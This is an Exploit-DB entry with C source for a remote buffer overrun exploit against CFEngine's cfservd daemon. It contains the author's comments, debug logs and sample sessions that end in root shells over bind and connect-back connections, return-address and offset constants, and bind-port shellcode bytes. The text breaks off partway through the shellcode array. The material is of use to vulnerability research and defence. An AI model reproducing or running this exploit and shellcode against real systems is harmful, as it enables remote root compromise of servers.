Exploit-DB #23183
Description: GNU CFEngine 2.0.x - CFServD Transaction Packet Buffer Overrun (2)
Type: remote
Platform: linux
Date: 2003-11-04
Author: snooq

Exploit:
// source: https://www.securityfocus.com/bid/8699/info
 
cfengine is prone to a stack-based buffer overrun vulnerability. This issue may be exploited by remote attackers who can send malicious transaction packets to cfservd. This issue is due to insufficient bounds checking of data that is read in during a transaction with a remote user.
 
The vulnerability may be exploited to execute arbitrary code with the privileges of cfservd. A denial of service may also be the result of exploitation attempts as cfservd is multi-threaded and may not be configured to restart itself via a super-server such as inetd.

/*****************************************************************
 *                                                               *
 *  Author: snooq [http://www.angelfire.com/linux/snooq/]        *
 *  Date: 4 November 2003                                        *
 *                                                               *
 *  Yet another version.. no big deal.. nothing special..        *
 *  just an extra built-in support for 'connect-back' shell..    *
 *  so that I dun need 'nc -l -p 31337' stuffs... duh !?!        *
 *                                                               *
 *  Anyway.. credit should go to Nick Cleaton who disovered      *
 *  this nice little 'bug'... ;)                                 *
 *                                                               *
 *  As usual, use it at your very own risk...                    *
 *  But then again, I really doubt this code will work for you   *
 *  nicely out of the box. You still gotta find the rite offset  *
 *  for yourself... =p                                           *
 *                                                               *
 *  Greetz:                                                      *
 *  # jf, eugene, nam, wenbin...                                 *
 *  # airvirus (?!! I still dunno ur real name yet ?!)           *
 *                                                               *
 *****************************************************************/

/*
===================== cfservd under attack =======================

[root@pinoir tmp]# /usr/local/sbin/cfservd --debug --verbose
cfservd Debug mode: running in foreground

<snip>
......................
</snip>

*** New socket [5]
New connection...(from 192.168.1.2/5)
Spawning new thread...
Checking file updates on /var/cfengine/inputs/cfservd.conf 
(3fa74f2b/3fa77e9f)
RecvSocketStream(8)
    (Concatenated 8 from stream)
Transaction Receive [88888][]
RecvSocketStream(8888)
    (Concatenated 4192 from stream)
Transmission empty...
Received: ['\x90'......1???QQQ?f????PPfha,fS?SRQ???1??
1??1?R?f?????0?1??PW?f?????9?@1	?1????1???
1???1?h//shh/bin?PS??1??1	?? on socket [PII_REDACTED]
Transaction Send[t 20][Packed text]
cfservd: Couldn't send
cfservd: send
cfservd: Closing connection

==================================================================
*/

/*
===================== sample attack 1 ============================

[snooq@arizona snooq]$ ./a.out -h 192.168.1.1

Cfservd Remote Exploit by snooq [ jinyean@hotmail.com ]
Tested to work against cfservd 2.0.7 on Redhat 8.0

-> Using return address of 0x4029eeff
-> 'Connecting' mode...
-> Exploit string sent. Waiting for a shell...
-> Connecting to shell at 192.168.1.1:24876
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),
4(adm),6(disk),10(wheel)
exit
-> Connection closed by remote host.
[snooq@arizona snooq]$

==================================================================
*/

/*
===================== sample attack 2 ============================

[snooq@arizona snooq]$ ./a.out -l -i 192.168.1.2 -h 192.168.1.1

Cfservd Remote Exploit by snooq [ jinyean@hotmail.com ]
Tested to work against cfservd 2.0.7 on Redhat 8.0

-> Using return address of 0x4029eeff
-> 'Listening' mode...( port: 24876 )
-> Exploit string sent....
-> Waiting for connection....
-> Connection from: 192.168.1.1
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),
4(adm),6(disk),10(wheel)
exit
[snooq@arizona snooq]$

==================================================================
*/

#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>

#define ALIGN		0	
#define HDR_SIZE	5	
#define TIME_OUT	10
#define HDR		0x38	// Anything between 1 ~ 9
#define NOP		0x90
#define T_PORT		5308
#define S_PORT		24876
#define RET_SIZE	400
#define BUFF_SIZE	4200
#define RET_ADDR	0x4029eeff

#define RET_OFFSET	0
#define IP_OFFSET	33
#define PORT_OFFSET_1 	35	// bind port shellcode
#define PORT_OFFSET_2 	39	// connect back shellcode
#define SC_SIZE_1	sizeof(bindport)
#define SC_SIZE_2	sizeof(connback)

#define CMD		"/usr/bin/id\n"

/* 
 *  Shellcode were shamelessly ripped from netric's code... =p
 */

char bindport[]=
	"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
	"\x06\x51\xb1\x01\x51\xb1\x02\x51"
	"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
	"\x89\xc1\x31\xc0\x31\xdb\x50\x50"
	"\x50\x66\x68\x61\x2c\xb3\x02\x66"
	"\x53\x89\xe2\xb3\x10\x53\xb3\x02"
	"\x52\x51\x89\xca\x89\xe1\xb0\x66"
	"\xcd\x80\x31\xdb\x39\xc3\x74\x05"
	"\x31\xc0\x40\xcd\x80\x31\xc0\x50"
	"\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
	"\x80\x89\xd7\x31\xc0\x31\xdb\x31"
	"\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
	"\x80\x31\xc0\x31\xdb\x50\x50\x57"
	"\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
	"\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
	"\xcd\x80\x39\xc3\x75\x40\x31\xc0"
	"\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
	"\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
	"\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
	"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
	"\x50\x68\x2f\x2f\x73\x68\x68\x2f"
	"\x62\x69\x6e\x89\xe3\x8b\x54\x24"
	"\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
	"\x80\x31\xc0\x40\xcd\x80\x31\